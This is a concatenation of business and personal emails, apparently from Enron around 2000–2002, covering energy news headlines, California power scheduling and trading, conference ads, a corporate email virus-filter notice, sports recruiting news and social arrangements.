competition programs have truly produced consumer benefits.
03/02/eng-djn/eng-djn_150105_35_1540475850925

LOS ANGELES DEPARTMENT OF WATER AND POWER TO SELL $1.2B IN POWER BONDS AS OF 
DEBT-RESTRUCTURING PLAN
The Los Angeles Department of Water and Power this week is selling $1.2 
billion in power bonds to refund fixed-rate electric system debt as part of 
an overall plan to restructure debt service.
http://199.97.97.163/IMDS%PMANAT0%read%/home/content/users/imds/feeds/ambanker
/2001/03/02/news/0000-0056-KEYWORD.Missing

Reliant Resources Will Try To Roadshow IPO In April,May

Bank Of Amer Pres Fears Calif Crisis Could Hurt Econ

Mirant Seeks Full, Timely Payment For Calif Pwr Sales

Brazil Cesp Controlling Stake Sale Back On After Crt Move

US FTC Seeks Input For Report On State Retail Power Plans

Midwest ISO: 8 Utils Joined Grid Oper Before Wed Deadline

Southern Co. To Spin Off Mirant Apr 2 After IRS Ruling>SO

US Weather: Rain, Snow In NW; Snow In NE; Rains In South

US Govs Keeping Close Eye On Western Energy Scramble

N A T I O N A L

Bpu Orders Program for Energy Efficiency Ratepayers to Foot $358 Million Bill

Ron Asche, Nebraska Public Power District

LADWP to Sell $1.2B in Power BondsAs Part of Debt-Restructuring Plan

Natural Gas Prices Raise Cost of Electricity

Bush Says Energy Security to Be His Priority

A Nuclear Power Plant Isn't Your Usual Business

Tep Taps Higher Power

Transcript of Remarks by The President And Secretary of Energy Spencer 
Abraham in Swearing-in Ceremony

Con Edison Asks Ferc to Close Loopholes That Enable New York Generators to 
Exercise Market Power

Odyssey Energy Corporation - Corporate Update

Wrangle Over Panel for Energy Customers

Utilities: Puc Defends Power Rate Boost

Newpower(TM) Expands Natural Gas Customer Base in Georgia

Uncertainty Weighs on Energy

Repeats: Energy Volume And Open Interest Totals-Mar 2

'Clean Coal' Has Powerful Backers

Energy Update/Los Angeles Department of Water And Power Issues Daily Energy 
Update for Friday, March 2, 2001

Power Profits Targeted: Generators Urged to Forgive Some of Utilities' Debts

Big Power Users Demand Reforms

New Jersey Natural Gas Company Supports Renewable Energy And Conservation 
Programs; Expands Efforts to Help Customers Conserve Energy And Benefit from 
New Technologies

Bill to Regulate Location of Power Plants

Consolidated Natural Gas Company Announces Consent Solicitation

Reader's View Proposed Middleton Plant Will Give US Reliable Power

Circumpacific Energy Corp - Commences Earning a 75% Interest - in A 70 
Section Block at Talbot Lake, Alberta

Equatorial Energy Announces Record 2000 Results; Closing of Financing And 
Repayment of Ivanhoe Notes

Bethlehem Zoners Grant Conectiv Plant Exceptions ** Company Plans to Turn 
Bethlehem Steel Brownfields Into Power Generation Site. ** Bethlehem

Projects Cut Ventura's Energy Use

Plug Power Announces CFO to Take Consultant Role

Road Show Aims to Save Energy

Dencor Energy Cost Controls Clarifies Name Change, Ticker Symbol Change And 
Reverse Split

USA's Power Lines Are Fraying

Alternative Power Plays Take Energy

Ex-Regulator Urges Temporary Federal Price Caps on Power

Energy Wholesalers Overcharge Calif

Worries Surface at Lake Forum As Power Crisis Drains Lake Roosevelt,; Low 
Snowpack Has Hard Time Refilling It

Court Upholds Epa's Power

Mccook Metals: Mccook Metals Reaches Groundbreaking Agreements with 
Bonneville Power Authority And Steelworkers Union; Agreements Will Benefit 
Region's Power Consumers, Steelworkers And Company

Science: the Superconductor Comes of Age Over Half of Our Electricity Gets 
Lost During Transportation Down Power Lines, But This Could Be About to 
Change. Charles Arthur on A Revolution in Energy

Natural Gas Prices Down Sharply in the State

Customer Delinquency Bills Rise with Natural Gas Prices

S&P: California Cities Weather Power Crisis

Courage Energy Inc. Reports Year-End Reserves

Power Plants Likely to Switch Sites, Fuel

Daya Bay Nuclear Power Plant Reports Record Output

Iberdrola Clinches Mexican Private Power Contract

Peru: Duje Energy to Complate San Diego Dam

Water Firm Buys 24.5% of Phoenix Natural Gas

Ukraine seeks to reduce Russian energy dependence

Gansu To Invest Usd 1.3 Bln in Local Power Sector This Year

Technicians Debate Coal Use in Thermo Plants - Brazil

Cne Calls for Generation Investment - Chile

Brazil : Eletropaulo Concentrates in Power Distribution

ESA Kujala Appointed New President of Kyro Power

Baoji No. 2 Power Plant Fully Operational

STOCKWATCH: Johnson Matthey firm after Goldman Sachs comment on fuel cell meet

Govt Should Impose Limits of Russian Coal Export

Philippines' NPC/Zamboanga Cooperative to Explain Power Rate Hike

Australia's Energy Developments Posts US$6.6 Mln Profit in H1

Greenpeace Carries Global Clean Energy Call to Thailand

Putin Aiming to Assert Power in South China Sea Port Lease Top of President's 
Two-Day Agenda

Australia's United Energy, Alintagas Sign Operating Service Deal

Kepco Awards Hyundai Heavy Industries a Diesel Power Contract

Iran's Energy Subsidies Blocking Development:Minister

Korea Electric Power Corp Set to List Five Thermal Power Cos

Indian Govt Considering Allowing 100% Fdi in Power Trade

Henwood Releases First Power Market Database for India

ST. Louis, Mo.-Based Company to Keep Springettsbury, Pa., Plant in Operation

Connecticut Utilities Firms Look to Reinforce 1999 Merger Agreement

Parent Firm to Lease Part of Columbia, W.VA., Gas Firm's Offices

Group Recommends Incentives to Promote Power Plants in Wisconsin

California Energy Agency's Draft Report Says Power Generators Charged Too Much

Natural Gas Prices May Decline in Centre County, Pa.

Virginia Furniture Makers Request Halt to Electricity Deregulation

Philadelphia Gas Utility to Accept Agreement That May Increase Rates

The Orlando Sentinel, Fla., Home Energy Column

Managers of California's Electric Grid Accuse Power Producers of Overcharging

Merger of Northeast Utilities, Consolidated Edison Could Be in Trouble

Engineers Find Cracks in Connecticut Nuclear Power Plant Turbine

New Jersey Regulators Approve 2 Percent Rate Increase for Natural Gas Utility

Utility Readies Opening of New Autaugaville, ALA., Power Plant

Houston-Based Enron Pushes Plan for Power Plant in Pompano Beach, Fla.

Georgia Utility to Begin Testing Macon, GA., Soil Samples for Contamination

New Jersey Utilities Board Orders Energy-Efficiency Program

Colorado Springs, Colo., Utilities Firm Looks to Raise Rates 25 Percent

Polk County, Fla., Power Plant to Draw Gas from New Pipeline

Anchorage Daily News, Alaska, Business Meetings Column

REUTERS

03-04-01 UPDATE 1-Northeastern U.S. braces for a major snowstorm

03-04-01 Dominion says body recovered from damaged silo

03-04-01 Calif. municipalities mulling move into power business

03-03-01 Bidders for Enel's Elettrogen cut to nine-paper

03-03-01 UPDATE 1-India urges states to step up power sector reforms

Exchange.

OR

Hey team, just wanted to let everyone know who to call.

Name			Number		Company	Comment
Jackie Adams		713-393-6889	Cinergy		Handles all the Apache supply nominations.
Lisa Hughes		713-393-6884	Cinergy		Jackie's backup

Chris Germany		713-853-4743	Enron		Trader
Robin Barbe		713-853-7177	Enron		Backup for Chris 
Kevin Brady		713-853-7750	Enron		Enron's Super "North American" Scheduler

Thanks.

Try this feed.

Attached are  EES's Volumetric NYMEX and Basis positions for 6/22/2000.   

Thanks,

Kyle

Group,

The plan has slightly changed for submitting supplemental bids for our generators for Saturday, 6/9.  The plan is as follows:

Only submit supplemental bids for the generators if a Stage 1 emergency is called.  This is due to the ISO's ability to ramp the units up and down every 10 minutes.  We don't want to give them the ability to do this if there is not a Stage 1, 2, or 3 emergency.

So, please try to sell the generators excess available output as an SC to SC trade.  Below is their preschedule, mw's available, minimum price threshold, and unit ID's.  Also, attached is a sheet with all the contact names and phone #'s.  Please save it and reference it when dealing with the generators.  

Harbor:		HARBGN_7_UNITS
Supps:		80mw available, HE1-24, Saturday, for $140.
SC Trade:	80mw available, SP15, Saturday, above $125.

Delano:	PANDOL_6_UNITS
Supps:		15mw available, 30mw prescheduled, total output equals 45, HE1-24, Saturday, for $40.
SC Trade:	15mw available, 30mw prescheduled, total output equals 45, SP15, Saturday, above $40.

Wheelabrator Martel:	MARTEL_2_AMFOR
Supps:		6mw available, 7mw prescheduled, total output equals 13, HE1-24, Friday and Saturday, for $60.
SC Trade:	6mw available, 7mw prescheduled, total output equals 13, NP15, Friday and Saturday, above $50.

Sierra Pacific Holding:		We don't know their unit ID because we're not their SC
Supps:		No Supps, we are not their SC.  The APX is their SC.
SC Trade:	15mw available, NP15, Friday and Saturday, above $60.

If you have any questions don't hesitate to contact either Chris Foster or myself.

Thanks,
Stan

ok... here is the scoop.  Wedding ceremony at 5:00pm at Grace Presbyterian
Church - Beltway and Westheimer in the Chapel.  Reception following at the
Majestic Metro - a map will be provided at the wedding.  Let me know if you
can make it and... if you are bringing a date.  Hope you can make it....
I'll be sure and save a dance for you - HA!

Pete -

David Porter has recently moved from the West Hourly Trading group into Pre-Scheduling. He no longer needs Schedule Crawler notification. Could you please remove him from the instant message dispatch as well as the e-mail distribution list. 

Thanks for your help with this; and please let me know if you have any questions.

Thanks,
Kate Symes
Real Time Trading Support
503-464-3939

John Sherriff and Michael Brown would like to send out the attached letter to employees in Europe this afternoon (ie in the next 3 hours).  I would be grateful if you would review it and let us have your approval as soon as possible.

I have a couple of questions in relation to the content:

1.  Can we refer to Wessex Water on our list of non-core assets in Europe?

2.  Can we list the specific businesses under review as per the proposed draft below (which is not included in the attached draft?)

"The businesses currently under review in Europe are Global Markets (except Coal), Industrial Markets, Metals, Credit and the Wind Turbine manufacturing business.  Also under review is the E Power generation asset development business in Japan".  Given that these businesses are being identified in the media I would assume that we can although note that they don't appear in your message point summary received last night.

A prompt response would be very much appreciated.  Thanks.

Jackie

Due to a conflict, this meeting has been rescheduled.   Please make a note of 
the new time as follows:

   Date:    June 15, 2000

   Time:    10:30 am to 12:00 pm

   Place:   EB 3314

   Subject:   Emissions

If you have any questions/conflicts regarding the above mentioned meeting, 
please feel free to call me.

Thanks,

Bev

Start Date: 4/16/01; HourAhead hour: 11;  No ancillary schedules awarded.  

Schedules\2001041611.txt

$$$ Variance found in table tblINTCHG_IMPEXP.
     Details: (Hour: 11 / Preferred:  50.00 / Final:  49.99)
  TRANS_DATE: 4/16/01
  INTERCHG_ID: EPMI_CISO_SOUTH

+++ Hour 11 - bad data from ISO.
  TRADING_SC: PGAE
  DEAL_NO: 1

Are we going to attend?

From: "Laxmi Mrig" <lmrig@qwest.net>@ENRON [mailto:"Laxmi Mrig" <lmrig@qwest.net>@ENRON] 
Sent: Sun 1/20/2002 2:23 PM 
To: "Undisclosed-Recipient" <>@ENRON 
Cc: 
Subject: Last Week to Receive Early Bird Discount for the Transmission Expansion Conference

Transmission Expansion and Systems in Transition  Conference

Feb. 5-8, 2002, Miami,  Florida

OVERVIEW

This conference will examine the  business and regulatory challenges to U.S. electric systems in transition in  effectively expanding transmission capacity to meet new demands in the larger  and more competitive regional markets emerging under FERC's RTO  initiatives.  The conference will  review the parameters of these challenges and possible solutions to them.  It will examine technology options and  new business models for transmission expansion.  It will analyze emerging proposals for  effective transmission planning and pricing, including market-based pricing  alternatives to FERC's traditional pricing methods. The conference will also  discuss what it will take in legislative action and regulatory initiative to  achieve an efficient regime for ensuring that the nation has a reliable grid and  regional trading system.

The brochure for the Conference and associated  Workshops can be obtained by  clicking on the link below:<http://www.euci.com/pdf/trans_expn.pdf> << http://www.euci.com/pdf/trans_expn.pdf >> 

Electricity  Market Design Conference

March  25-26, 2002, Atlanta, Georgia

OVERVIEW

This Conference will focus on how to design  competitive electricity markets that maximize the benefits to consumers while at  the same time maintaining the financial viability of companies participating in  these markets.

The brochure for the Electricity Market Design  Conference, March 25-26, 2002,  Wyndham Hotel Downtown, Atlanta, GA can be obtained by clicking on the link  below:<http://www.euci.com/pdf/MrktDesgn.pdf> << http://www.euci.com/pdf/MrktDesgn.pdf >> 

Power  Generation Asset and Portfolio Management Conference

March  26-28 2002,  Atlanta, Georgia

OVERVIEW

This conference will highlight the commonalties and  common applications between the asset management processes used throughout the  enterprise.  The conference will  emphasize the need to link the physical power generation asset management  processes to the activities and processes of the trading and marketing  process.  The processes of Asset  management will be addressed from three distinct perspectives, first, the  long-term perspective of portfolio developers, second the more medium term  perspective of maintenance/system planners and third the conference will link  short term issues of the trading & marketing departments. The purpose is to  show how these processes can be integrated to the individual assets (plants) in  order to provide consistent and profitable strategies for the generation asset  owner.

The brochure for the Power Generation Asset and  Portfolio Management Conference,  March 26-28, 2002, Wyndham Hotel Downtown, Atlanta, GA can be obtained by  clicking on the link below:

 <http://www.euci.com/pdf/powergeneration.pdf> << http://www.euci.com/pdf/powergeneration.pdf >> 

Ancillary  Services Conference

April  10-12, 2002, Denver, Colorado

OVERVIEW

As more and more regions in North  America open wholesale markets to competition, the importance of ancillary  services is increasingly recognized. These services, generally provided by the  same generators that produce the competitive energy product, are vital for both  commerce and reliability. 

This conference will cover the key  engineering, economic, market, and policy issues associated with these  functions. The conference will also present updates on the status of the various  markets (including market design and operation problems and their solutions,  successes, prices and costs) in North America. These markets include New  England, New York, PJM, ERCOT, and Alberta. Developing markets, such as Ontario,  will also be covered. The market designs encompass issues such as day-ahead  scheduling, real-time operation, integration with the markets for energy and  congestion, measuring the real-time delivery of these services, the operating  costs to produce these services, and the potential for customer loads to supply  these services.

The brochure for the Ancillary Services  Conference, April 10-12, 2002,  Wyndham Hotel - Tech Center, Denver, CO can be obtained by clicking on the link  below:<http://www.euci.com/pdf/anc_svcs.pdf> << http://www.euci.com/pdf/anc_svcs.pdf >> 

Please print the brochure and fax the registration  form back to us at 303-741-0849 if you would like to attend any of these events.  You can also register by calling us at 303-770-8800 or online.  

We have updated our website to include new conference  proceedings on recently-held "Electric Power Market Performance",  "Performance-Based Ratemaking", "Ancillary Services", "Performance Management  for Electric Distribution Companies", "Power Generation Asset Management", and  "Power T&D Asset Management" conferences. Please visit www.euci.com << http://www.euci.com/ >> and review the conference  proceedings section for these and other proceedings.

Kindly  forward this announcement to your colleagues who might benefit from attending  these events.

Best  Regards,

L.  Mrig

Electric  Utility Consultants, Inc. (EUCI)

5555  Preserve Drive

Greenwood  Village CO 80121

Tel:  303-770-8800

Fax:  303-741-0849lmrig@euci.com << mailto:lmrig@euci.com >> 

Dear ERROL,

Thank you for shopping at SAMSClub.com.  Your order has been received and is 
in process.  If you have questions regarding your order or if SAMSClub.com 
can assist you in any way, please contact a member service representative at 
http://www.samsclub.com/eclub/main_help.jsp or call us at
1-888-SHOPSAMS (1-888-746-7726).

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calling 1-888-SHOPSAMS (1-888-746-7726).

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Ship to:
  ERROL MCLAUGHLIN, 2610 PALM ST HOUSTON TX 77004

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Item: Renew your Advantage Membership
Qty : 1
Item Price: $ 35.00
Item Total: $ 35.00

combined item(s) total$           35.00
combined shipping     $            0.00
tax           $            0.00
combined order total  $           35.00

Thanks again for shopping SAMSClub.com!

http://www.samsclub.com

This email and any files transmitted with it are confidential
and intended solely for the individual or entity to
whom they are addressed.  If you have received this email
in error destroy it immediately.

From Kevin Hannon, Jim Hughes and John Lavorato

Our efforts to move our South American merchant business model to look like our North American and European models has been evolving quickly.  In the volatile Brazilian power market, Enron is poised to start-up the first merchant plant in the near future.  We are working on several structured transactions and are at the forefront in working with Brazilian regulators to create a viable deregulated power market.

To continue our positive momentum in South America, we have decided to change the leadership of the merchant business.  We have asked Orlando Gonzalez to become President and CEO.  In addition we have asked Brett Wiggs to join Orlando in the office of the chairman as Chief Commercial Officer.

Joe Kishkill has been involved in the South American business for many years and will be exploring other opportunities within Enron.  We would like to thank Joe for his contributions.  

Please join us in congratulating Orlando and Brett on their new duties.

---------------------- Forwarded by David M Gagliardi/TTG/HouInd on
10/10/2000 07:49 AM ---------------------------

mggagliardi@duke-energy.com on 10/10/2000 07:15:22 AM

To:   DGagliardi@reliantenergy.com, David_Ricks@GSDM.com,
Tony.A.Rogers@fritolay.com
cc:

Subject:  True Orange Fax/E-Mail #94

---------------------- Forwarded by Michael
Gagliardi/Hou-ComOps/EnergyTrading/PEC on 10/10/2000 07:24 AM

TruOrange@aol.com on 10/09/2000 10:07:22 PM

To:   TruOrange@aol.com
cc:

True Orange Fax/E-Mail Service
Volume 8, Fax/E-Mail #94, Monday, October 9, 2000
Jerry Scarbrough's True Orange, P. O. Box 26530, Austin, Texas 78755 -
Phone
512-795-8536

Horns Get Great JC Punter; Brown Says Team Will Bounce Back

Trinity Valley JC coach Chuck Langston says his punter, Brian Bradford,
"will
punt in the NFL someday. He's the best one I've ever been around."
That's good because Bradford committed to the Longhorns Sunday night.
Langston, who played and later coached at Oklahoma, said, "He's better than
any of the ones we ever had at OU when I was there. He averages better than
43 yards and he gets tremendous hang time, in the 4.7, 4.8, 4.9 (second)
range, which is really outstanding. He really gets great height and great
distance."
Langston said Bradford "is our team's most valuable player. He's one of the
those guys who  turns the field over. He really changes field position."
Bradford told me he has "always wanted to play for the Longhorns." He was a
full qualifier out of Lufkin High School and said he will transfer to Texas
in January so he can go through spring training with the Longhorns.
He is the Longhorns' 17th commitment, but he can be counted against last
year's class because he will enroll at mid-year.
* * * *
Coach Mack Brown said Monday the Longhorn coaches are "going to look at
personnel across the board" to try to find players who can help get the
team
back on the winning track.
Brown said the 63-14 loss to Oklahoma  was "my worst day as a coach,"  but
he
said he has to get the team playing well in a hurry to have a chance to
beat
Colorado in Boulder Saturday. He also said he expects the team to bounce
back
strongly.
"My job this week is to be hard, be tough, but to give them some hope," he
said. "This is the wrong week to be going to Boulder. They changed
quarterbacks and he (freshman Craig Ochs) played great at A&M. Colorado
also
has the best offensive line we've played this year. It's going to be a big
challenge."
Brown also said the Longhorns need to develop an identity on offense. He
said
he wants to be able to run the ball better, but said the Horns have done
better from the shotgun with four wideouts than with anything else they
have
tried this year.
He also hinted he might quit using his two-quarterback system, but said the
coaches always talk to the players before making any statement to the
press.
The Buffs are a 1-point favorite, and Brown said the Longhorns, who have
"played well in our stadium and played poorly away from it," need to play
their best game of the season to win.
He said DT Shaun Rogers, who has missed the last two games with a sprained
ankle, is much better and probably will be able to play Saturday.
All America DT Casey Hampton said getting Rogers back would really help the
defense. "When Shaun is in there, it makes us a lot better," Hampton said.
Hampton and Rogers draw frequent double-team blocks, which frees the
defensive ends and linebackers to make more plays. With Rogers out, OU was
able to double-team both Hampton and DE Corey Redding at times Saturday by
using a back to help with the block on Redding.
* * * *
The Longhorns' home game with Missouri next week will be an early afternoon
or night game. The TV networks are allowed to wait six days before a game
to
make their selections three times each year, and they exercised one of
those
options on the Texas-Missouri game. That game is one of three vying for two
TV spots, one at 2:30 p.m. and one at 6 p.,m. If  it isn't picked for TV,
it
probably will start at noon or 1 p.m.
* * * *
RECRUITING NOTES: QB Matt Nordgren of Dallas Bishop Lynch  says he probably
will announce his college choice later this week. He said Texas and LSU are
the main contenders, with Colorado and Tennessee also in the mix. "I'm
going
to call all the coaches and talk to them one last time to hear they have to
say," he said. Nordgren has been a strong Texas lean for several weeks, but
he also is very interested in LSU
* * * *
My next fax will be whenever events warrant.
* * * *
The True Orange Fax Service includes  at  least  99 faxes  a year and costs
$99 ($79 by E-Mail). The True Orange Newsletter includes  26 newsletters
and
is published weekly during football season and twice monthly during most of
the other months. It costs $45. Save by subscribing to both for $130 (or
$110
if you take the faxes via E-Mail  or $99 if you take the faxes and
newsletter
via E-Mail). Send check  to address at the top of page. I also  update my
900 number ? 1-900-288-8839 ? frequently with recruiting news. My E-Mail
address is: truorange@aol.com

I just spoke with Holli, and she reported that the confirmation has been 
awaiting a signature at Grant County for the past week. She said she plans to 
send it to Kim Theriot as soon as she gets it back. Let me know if that 
sounds good; otherwise, I can ask her about sending you an unsigned copy.

Thanks,
Kate

	From:  Sharen Cason                           02/06/2001 11:19 AM
	
To: Kate Symes/PDX/ECT@ECT, Holli Krebs/HOU/ECT@ECT
cc:  

Subject: Deal 420529.01

Did you receive the executed copy of this deal there in your office?  We do 
not show that we have received an executed copy of this confirmation from the 
counterparty.  If you do not have the executed copy of the deal, please send 
me the copy you faxed to the counterparty and we will send it again and try 
to get it executed.

Thanks!  
---------------------- Forwarded by Sharen Cason/HOU/ECT on 02/06/2001 01:07 
   Kim S Theriot                02/06/2001 11:57 AM

cc:  

Sharen,
I saw that there was a note on this deal that Legal prepared the confirmation 
and Holli Krebs sent it to the counterparty herself.  Can you obtain a copy 
of what they sent for our files.  There is nothing in Livelink and if we 
would ever need to reproduce the document we would have nothing.  Also, it 
shows that it has not been singned unless Portland has a signed copy.

Kim

GaryD: Thanks for your help if you have Panus's please give it to me, you 
keep Rome's. brad

Attached for your information find an electronic version of the Operator 
Balancing Agreement.  John, please check over to make sure we've got all the 
information filled-in correctly.  If acceptable, please produce two (2) 
executable documents from the electronic file, secure execution by Citizens' 
management and return the partially-executed documents to TW for our approval 
and execution.  If you have any questions, please give me a shout.

---------------------- Forwarded by Jeffery Fawcett/ET&S/Enron on 12/12/2000 

Dale Eldridge
12/12/2000 03:37 PM
To: Jeffery Fawcett/ET&S/Enron@ENRON
cc: Dale Eldridge/ET&S/Enron@ENRON 

Subject: Per your request

I'm not that wild about the pan sausage.  Hamburger/italian/smoked are good.

Kay

"Neil Mann" <nmann@erac.com> on 12/07/2000 09:09:58 AM
cc:  

Subject: RE: deer

Do you want alot of any one item, say hamburger? Maybe we can take two deer
and sell some of what we don't want. I have asked and some folks in my
office would like some. They would pay for processing. Are we going to split
a pig with John this year? NM

Sent: Thursday, December 07, 2000 7:29 AM
Cc: acastellese@technip.com
Subject: Re: deer

Neil,

You have my proxy.  Please let Anthony know what you think.

Thanks,

Kay

Anthony,

Venison would be tough to swallow without teeth.

Kay
---------------------- Forwarded by Kay Mann/Corp/Enron on 12/07/2000 07:26

ACastellese@Technip.Com on 12/07/2000 07:19:07 AM

To:   Kay.Mann@enron.com
cc:

Subject:  Re: deer

Since I bought Bobbi a spot on the deer lease we have a total of 6 deer to
kill this year. If you want more than one deer your welcome to it. 6 is way
more than we can eat. Unless we skip breast feeding and start the baby on
deer meat.

How do you want it processed?  1 or 2 deer?

Italian Sausage
Smoked Sausage - Mild-Medium-Hot
Pan Sausage - Mild-Medium-Hot
Hamburger

Kay.Mann@enron.com on 12/06/2000 04:08:12 PM

To:   ACastellese@Technip.Com
cc:

yes please

Mark & Todd

Vince and I have been working along those lines and have narrowed the search 
to (1) Scripps Institution of Oceanography, (2) Lamont-Daugherty Earth 
Observatory, and (3) COLA - Center for Ocean, Land and Atmosphere.  We have 
contacted the principles at each of these institutions, made on-site visits 
to the facilities, and verbaly explored preliminary research program 
proposals.

Perhaps we could meet next week to coordinate this effort.  

- - - Mike

----- Forwarded by Sara Shackleton/HOU/ECT on 12/13/2000 09:02 AM -----

	Denis O'Connell
	12/13/2000 07:13 AM
		
		 cc: Matthew Dawson/LON/ECT@ECT
		 Subject: Re: Morgan Stanley Capital Services, Inc. ("MSCS")

Sara - I would be very grateful if you could have the attached executed and 
faxed to Matt Flett at MS in London, with a copy to myself asap.

Many thanks for your assistance.

Denis

Denis O'Connell
Enron Europe Limited
Tel. +4402077834828
Fax. +4402077839238

From: Sara Shackleton on 12/12/2000 09:35 CST
To: Matthew Dawson/LON/ECT@ECT, Denis O'Connell/LON/ECT@ECT
cc:  

Subject: Morgan Stanley Capital Services, Inc. ("MSCS")

Matt and Denis:

I spoke with Matthew Flett about an hour ago and he advised that 
EnronCredit.com Limited had finalized its ISDA.  I requested a copy burt he 
has not yet sent it over.  Both ENE and ENA want to execute masters with MSCS 
and we would like to work from your document.

Can you email me a copy?

Thanks.  Sara

In an effort to protect Enron's e-mail system from harmful viruses, the 
Global Messaging Team has implemented an inbound and outbound cluster of 
MAILSweeper servers. What does that mean to you, the user? All inbound and 
outbound Internet mail is passed through a set of servers that will scan each 
message for viruses, malicious code, business related-content and 
inappropriate content. Inbound Internet mail that contains the following 
attachment types will be quarantined (held for delivery): *.vbs, *.exe, 
*.com, *.bat, *.cmd. If you are the intended recipient of one of these 
e-mails, you will receive an automatic notification with instructions on how 
to get your legitimate e-mail released from quarantine.

We have taken these measures to protect our e-mail environment from harmful 
e-mail viruses. We believe that these protections will result in less down 
time for your e-mail, in the event that Enron gets hit with a virus or 
malicious code.

i loved them in that i thought they were going to go up...i think they still 
might

  3 weeks ago  now
short term very bullish  neutral
medium term neutral   neutral
longer term neutral   bearish

From: Jennifer Fraser/ENRON@enronXgate on 03/06/2001 11:34 AM
cc:  

what changed your mind re 02 and 03 --2 weeks ago you told me you loved 
them....why are bearish out the back?

Jen Fraser
Enron Global Markets Fundamentals
713-853-4759

From:  Arnold, John  
Sent: Tuesday, March 06, 2001 5:03 PM
To: Fraser, Jennifer

  What it's trading  what I think it's really worth 
apr oct   540    500 
nov mar 547    375
cal 2  491    400
cal 3   460    325

Obviously most bearish the further out you go.  However, the game right now 
is not sell and hold...although it will be soon.  The game is where will it 
be tomorrow and next week and next month.  The market is structurally short 
term gas thanks to our friends from california.  where ca is buying power, 
williams and calpine and dynegy dont care of the gas costs 450 or 475 or 500 
or 525.  irrelevant.  so term is not going down in the short term unless the 
front comes into the 400's and scares some producers to start hedging or we 
or el paso can find fixed price lng to the tune of 250,000 a day for 10 years.

From: Jennifer Fraser/ENRON@enronXgate on 03/06/2001 10:37 AM
cc:  
Subject: 

what are your thoughts on

ap-oct
nov-mar
02
03

price levels and outlooks
 thanks
Jen Fraser

Can we get any traction in supporting this?  The premise is obviously 
preaching to the choir, and we (as I am sure others do as well) have a string 
of proposals starting with SDGEs in May or June that, if we melded their 
timing and their prices into the attached timeline would be very damaging to 
thinking people.  However, are people really thinking, or has Davis and the 
reporters tainted the waters too badly?  What would be the result that we 
would like to get from such an exposee?  Do we really think that we could get 
some sympathy for returning to a market based structure?  Or, would we be 
like the irritating kid who keeps saying "I told you so", so it does not 
matter if he was right or not?  Are there any legal issues in revealing the 
prices?  Does doing this through IEP help?  (Note that the addition of prices 
could not be done, I do not think,  without naming companies, so we would be 
there, partially revealed.)

My vote:  if it does not hurt us (competitively, PR, etc.), if it is legal, 
and especially if it can help make even a small amout of progress towards a 
market based structure, I would do it.  Of course, we could not go anymore to 
restaurants near the CPUC......

I am out of town for the rest of the week, so I will leave the decision to 
you guys.  Whatever you decide, is OK.

PS - At the very least, we should feed our own proposals and their prices 
into this timeline.  Privately, we could show it to various parties on a case 
by case basis to advance our cause.  Just think about it...  what if SDGE had 
accepted our (and others) May/June proposals for 5.5 cents.....?)

----- Forwarded by David Parquet/SF/ECT on 04/24/2001 04:59 PM -----

	04/24/2001 12:56 PM
		 
<john.g.larrea@williams.com>, "'Julee Malinowski-Ball (E-mail)'" 
<rwhyde@duke-energy.com>, <tmcmorrow@manatt.com>, 
<Suzy.L.Rodriguez@dynegy.com>
		 cc: 
		 Subject: LT Contracts:  A History of Inaction by the CPUC

Attached is a history of inaction by the CPUC in regards to long-term 
contracts. We are graphically portraying this as a timeline, incorporating 
the quotes.

We would like to also incorporate any public long-term contract offers IEP 
members made that utilities were not able to enter into because of the CPUC. 
?This will once again help reinforce that IEP members are part of the 
solution. ?

Please forward this information, or any other comments, to me or Katie by 8am 
PST, Thursday April 26.

Thanks,
Jean

-- 
Jean Munoz

 - Long Term Contract Timeline

Do not update links when opening this file.

Thanks,
x54877

Come one come all,  meet next Monday at the Lucky Labrador for a beverage.? 
Julie and I shall  be there at about 5:15pm, so come after work, when you can 
get there.? Ben,  let Eric know, will ya?? See y'all there, you square.

Marcus B. Jones
MCA Architects,  P.C.
PH (503)226-0622
FAX (503)226-0626
30 NW 1st Ave.
Portland, OR  97209 
?

From: Campbell, Pat [mailto:Pat.Campbell@Nextel.com]
Sent: Wednesday, January 31, 2001 6:58 AM
To: 'Travis.Cherry@enform.com'; 'Beth.Cherry@enform.com';
'johnyew@swbell.net'; 'johnyes@dellnet.com'
Subject: FW: Copping a Plea

Subject: Copping a Plea

A fellow bought a new Mercedes and was out on an interstate
road for a nice evening drive. The top was down, the breeze
was blowing through his hair and he decided to open her up.
As the needle jumped up to 80mph he suddenly saw a flashing
red and blue light behind him. "There ain't no way they can
catch a Mercedes," he thought to himself and opened her up
further. The needle hit 90, 100 110 and finally 120 with the
lights still behind him.
"What in hell am I doing?" he thought and pulled over.
The cop came up to him, took his license without a word and
examined it and the car. "I've had a tough shift and this is
my last pull over. I don't feel like more paperwork so if you
can give me an excuse for your driving that I haven't heard
before you can go!"
"Last week my wife ran off with a cop," the man said, "and I
was afraid you were trying to give her back!"
"Have a nice night", said the officer.

----- Forwarded by Jeff Dasovich/NA/Enron on 12/18/2000 05:18 PM -----

	Mary Hain@ECT
	12/17/2000 07:20 PM
		 
		 To: Don Black/HOU/EES@EES, Dennis Benevides/HOU/EES@EES, Neil 
Bresnan/HOU/EES@EES, Jubran Whalan/HOU/EES@EES, James E Keller/HOU/EES@EES, 
Vicki Sharp/HOU/EES@EES, Mike D Smith/HOU/EES@EES, Steven J 
Kean/NA/Enron@Enron, Harry Kingerski/NA/Enron@Enron, James D 
Steffes/NA/Enron@Enron, Richard Shapiro/NA/Enron@Enron, Mark 
Palmer/Corp/Enron@ENRON, Karen Denne/Corp/Enron@ENRON, Joe 
Hartsoe/Corp/Enron@ENRON, Jeff Dasovich/NA/Enron@Enron, Sarah 
Novosel/Corp/Enron@ENRON, Ginger Dernehl/NA/Enron@Enron, Susan J 
Mara/NA/Enron@Enron, Mona L Petrochko/NA/Enron@Enron, Paul 
Kaufman/PDX/ECT@ECT, William S Bradford/HOU/ECT@ECT, Mark E 
Haedicke/HOU/ECT@ECT, Richard B Sanders/HOU/ECT@ECT, Kathryn 
Corbally/Corp/Enron@ENRON, David W Delainey/HOU/ECT@ECT, Greg 
Whalley/HOU/ECT@ECT, Phillip K Allen/HOU/ECT@ECT, Marty Sunde/HOU/EES@EES, 
Mark Frevert/NA/Enron@Enron, Mark Koenig/Corp/Enron@ENRON, Paula 
Rieker/Corp/Enron@ENRON, gfergus@brobeck.com, sbishop@gibbs-bruns.com, Tom 
Alonso/PDX/ECT@ECT, Robert Badeer/HOU/ECT@ECT, Tim Belden/HOU/ECT@ECT, Jim 
Buerkle/PDX/ECT@ECT, Christopher F Calger/PDX/ECT@ECT, Dave Parquet, Paul 
